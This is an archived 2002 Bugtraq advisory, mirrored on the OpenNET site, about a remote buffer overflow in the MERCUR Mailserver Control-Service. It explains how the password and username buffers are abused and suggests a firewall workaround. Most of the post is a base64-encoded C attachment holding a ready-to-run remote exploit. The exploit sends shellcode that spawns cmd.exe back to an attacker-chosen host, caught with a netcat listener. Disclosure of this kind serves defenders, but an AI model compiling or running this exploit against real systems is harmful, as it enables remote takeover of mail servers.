The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

MERCUR Mailserver advisory/remote exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Wed, 17 Jul 2002 17:29:48 -0700 (PDT)
From: 2c79cbe14ac7d0b8472d3f129fa1df <c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com>
To: bugtraq@securityfocus.com
Subject: MERCUR Mailserver advisory/remote exploit
Cc: support@atrium-software.com

--0-1610208346-1026952188=:14415
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

2c79cbe14ac7d0b8472d3f129fa1df55 Security Adisory #3

#PRODUCT

Atrium Software International's
MERCUR Mailserver, All Versions

#DESCRIPTION

MERCUR Mailserver's Control-Service, installed and
activated by default on port 32000, is vulnerable to
the classic buffer overflow on it's password
argument.. an exploit for MERCUR 4.2 (current) is
included and it has been tested against both win2k and
winxp pro..

<260 bytes><EBP><EIP>

as you can see, I'm too lazy to write my own shellcode
to fit in that wee little 260 byte buffer.. and we
can't choose the right side as anything over a few
bytes will end up overwriting what will become the
contents of ECX prior to our target RET, causing an
early exception.. so a sexy little trick is in order..

we just abuse the fact that an invalid username, one
of a very large length, is copied and stays resident
in local memory when we overrun the password buffer..
sizing these two buffers correctly, and we can have
them overlap each other, allowing us to jump from the
password buffer to our payload (username buffer)
easily.. YIPPPEE!@!#

#FIX/PATCH/WORKAROUND

no patch this time, as a workaround is simple.. MERCUR
allows you to restrict access to each service
individually under the Security -> Firewall options..
32000 should be restricted on default, and I would
guess it soon may be..

sorry about the winamp patch, who the hell knew winrar
uses a proprietary zip format..

symantec's #1 fan,
2c79cbe14ac7d0b8472d3f129fa1df55

__________________________________________________
Do You Yahoo!?
Yahoo! Autos - Get free new car price quotes
http://autos.yahoo.com
--0-1610208346-1026952188=:14415
Content-Type: application/octet-stream; name="mercrexp.c"
Content-Transfer-Encoding: base64
Content-Description: mercrexp.c
Content-Disposition: attachment; filename="mercrexp.c"

LyoKCW1lcmNyZXhwLmMgKDcvMTYvMjAwMikKCgkjIC4vbWVyY3JleHAgMTky
LjE2OC4wLjIgMzIwMDAgMTkyLjE2OC4xLjIgMzMzMwoJIyBuYyAtbCAtcCAz
MzMzCglNaWNyb3NvZnQgV2luZG93cyAyMDAwIFtWZXJzaW9uIDUuMDAuMjE5
NV0KCShDKSBDb3B5cmlnaHQgMTk4NS0yMDAwIE1pY3Jvc29mdCBDb3JwLgoJ
CglFOlxXSU5OVFxzeXN0ZW0zMj4JCgoJMmM3OWNiZTE0YWM3ZDBiODQ3MmQz
ZjEyOWZhMWRmNTUgKGM3OWNiZTE0YWM3ZDBiODQ3MmQzZjEyOWZhMWRmNTVA
eWFob28uY29tKQkKKi8KCiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8
c3RyaW5nLmg+CiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KI2luY2x1ZGUgPHN5
cy9zb2NrZXQuaD4KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4KI2luY2x1ZGUg
PGFycGEvaW5ldC5oPgojaW5jbHVkZSA8bmV0ZGIuaD4KI2luY2x1ZGUgPHN5
cy9lcnJuby5oPgoKLy8gQ0FMTCBFQlg7IG1jcmN0cmwuZXhlQDB4MjI4ZQoj
ZGVmaW5lIEVJUCAiXHg4ZVx4MmNceDQwXHgwMCIKCi8vIHBheWxvYWQuLiBk
dW1wZWQgaW50byByZW1vdGUgbWVtb3J5IGFzIGZhaWxlZCAndXNlcm5hbWUn
Ci8vIGRhcmsgc3B5cml0J3Mgc2hlbGwsIHJpcHBlZCBmcm9tIGppbGwuYwp1
bnNpZ25lZCBjaGFyIHNoZWxsW10gPQoJCSJ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LjApXG5cbiIpOwogCiAgICAgICAgcHJpbnRmKCJjb25uZWN0aW5nIHRvIHRj
cCBwb3J0ICVzLi4uXG4iLCBhcmd2WzJdKTsKICAgICAgICBpZihjb25uZWN0
KGZkLCAoc3RydWN0IHNvY2thZGRyICopJnNpbiwgc2l6ZW9mKHNpbikpIDwg
MCl7cGVycm9yKCJjb25uZWN0aW9uIGVycm9yIik7ZXhpdCgtMSk7fQogCiAg
ICAgICAgcHJpbnRmKCJjb25uZWN0ZWQuXG5cbiIpOwogCXNsZWVwKDEpOwoJ
cHJpbnRmKCJkdW1waW5nIHBheWxvYWQuLi4iKTsKICAgICAgICBpZih3cml0
ZShmZCwgc2hlbGwsIHN0cmxlbihzaGVsbCkpIDwgc3RybGVuKHNoZWxsKSl7
cGVycm9yKCJ3cml0ZSBlcnJvciIpO2V4aXQoLTEpO30KCXByaW50ZigiZG9u
ZVxuIik7CiAgICAgICAgc2xlZXAoMSk7CiAgICAgICAgcHJpbnRmKCJzZW5k
aW5nIGZha2UgbG9naW4uLi4iKTsKICAgICAgICBpZih3cml0ZShmZCwgdXNl
ciwgc3RybGVuKHVzZXIpKSA8IHN0cmxlbih1c2VyKSl7cGVycm9yKCJ3cml0
ZSBlcnJvciIpO2V4aXQoLTEpO30KICAgICAgICBwcmludGYoImRvbmVcbiIp
OwoJc2xlZXAoMSk7CglwcmludGYoImVpcCBvdmVycnVuLi4uIik7CglpZih3
cml0ZShmZCwgcGFzc3dkLCBzdHJsZW4ocGFzc3dkKSkgPCBzdHJsZW4ocGFz
c3dkKSl7cGVycm9yKCJ3cml0ZSBlcnJvciIpO2V4aXQoLTEpO30KCXByaW50
ZigiZG9uZVxuXG4iKTsKCglwcmludGYoImNtZC5leGUgc3Bhd25lZCB0byBb
JXM6JXNdXG5cbiIsIGFyZ3ZbM10sIGFyZ3ZbNF0pOwoKICAgICAgICBjbG9z
ZShmZCk7Cgp9Cgo=

--0-1610208346-1026952188=:14415--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList